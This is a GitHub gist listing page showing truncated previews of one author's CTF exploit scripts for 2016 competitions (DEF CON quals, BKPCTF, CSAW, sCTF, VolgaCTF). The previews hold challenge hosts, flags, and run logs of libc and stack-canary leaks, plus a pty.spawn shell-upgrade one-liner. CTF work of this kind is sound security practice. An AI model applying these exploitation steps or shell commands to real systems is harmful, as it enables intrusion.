Skip to content

Instantly share code, notes, and snippets.

View hugsy's full-sized avatar
:octocat:
‎just hacking on

crazy hugsy hugsy

:octocat:
‎just hacking on
View GitHub Profile
#!/usr/bin/env python2
#
# feedme challenge
# defcon ctf 2016
#
# @_hugsy_
#
import socket, struct, sys, telnetlib, binascii
HOST = "feedme_47aa9b0d8ad186754acd4bece3d6a177.quals.shallweplayaga.me"
@hugsy
hugsy / gist:88e7137466505e0402ca
Created March 7, 2016 12:33
bkpctf16: simple_calc
#!/usr/bin/env python2
#
# $ cat key
# BKPCTF{what_is_2015_minus_7547}
#
import socket, struct, sys, telnetlib, binascii
HOST = "simplecalc.bostonkey.party"
#HOST = "localhost"
PORT = 5400
#!/usr/bin/env python2
#
# $ cat key
# BKPCTF{th3 l4st 1 2 3z}
#
import socket, struct, sys, telnetlib, binascii, random
HOST = "simplecalc.bostonkey.party"
HOST = "localhost"
PORT = 5500
@hugsy
hugsy / gist:3d983e103056372d838e6ee2d3fbfba4
Last active October 3, 2016 14:34
CSAW 2016 - pwn 200 - tutorial
#
# CSAW 2016 - pwn 200 - tutorial
#
# @_hugsy_
#
# tutorial@9c7e30ba54b6:/home/tutorial$ ls
# ~/cur/tutorial $ py xpl.py
# [+] Opening connection to pwn.chal.csaw.io on port 8002: Done
# [*] Got 0x7f60e48eb860
# [*] libc is 0x7f60e487c000
@hugsy
hugsy / gist:c83db6802955ca3511904228ad26a274
Last active October 3, 2016 14:34
CSAW - rock - rev 100
# @_hugsy_
# $ python bf.py
# Pass 0
# [...]
# Pass 27
# Pass 28
# Pass 29
# /////////////////////////////////
# Do not be angry. Happy Hacking :)
# /////////////////////////////////
#!/usr/bin/env python
#
# ASIS CTF 2016
# b00ks - pwn 146
#
#
import socket, struct, sys, telnetlib, binascii
HOST = "books.asis-ctf.ir"
HOST = "172.28.128.3"
@hugsy
hugsy / gef-exploit.py
Last active October 3, 2016 14:36
sCTF 2016 - pwn3
#!/usr/bin/env python
# [+] Connected to problems2.2016q1.sctf.io:1339
# Attach with GDB and hit Enter
# [+] Filling up threads
# [+] threads[0].next=0xbfd78e3d
# [+] all_threads=0xbfd78dec
# [+] new_thread=0xbfd81aec
# [+] canary_addr=0xbfd81f54
# [+] retaddr=0xbfd81f5c
# [+] set_last_chunk_next_address(0xbfd81ee0)
@hugsy
hugsy / gef-exploit.py
Last active October 3, 2016 14:36
sCTF 2016 - pwn2
#!/usr/bin/env python
#
#
# hugsy:~/downloads/_pwn2 $ ./gef-exploit.py (13:23)
# [+] Connected to problems2.2016q1.sctf.io:1338
# Attach with GDB and hit Enter
# [+] Crafting payload
# [+] Sent 256 bytes
# [+] Got it, interacting (Ctrl-C to break)
# [+] Get a PTY with ' python -c "import pty;pty.spawn('/bin/bash')" '
@hugsy
hugsy / gist:deae32e1da40e7b8c754
Created March 28, 2016 11:25
VolgaCTF 2016 - Web of Science
#!/usr/bin/env python2
#
# ~/ctf/volgactf_2016 $ ./gef-exploit.py
# [+] Connected to webofscience.2016.volgactf.ru:45678
# [+] Passing checks
# [+] Adding a paper
# [+] Adding paper name
# [+] Adding paper abstract
# [+] Showing paper to leak the canary
# [+] Got addr: 0x7fffffffe6e0
@hugsy
hugsy / gist:7777e8480d1759a07db4
Last active October 3, 2016 14:37
VolgaCTF 2016 - Web of Science 2
#!/usr/bin/env python2
#
import socket, struct, sys, telnetlib, binascii
HOST = "webofscience2.2016.volgactf.ru"
# HOST = "172.28.128.3"
PORT = 45679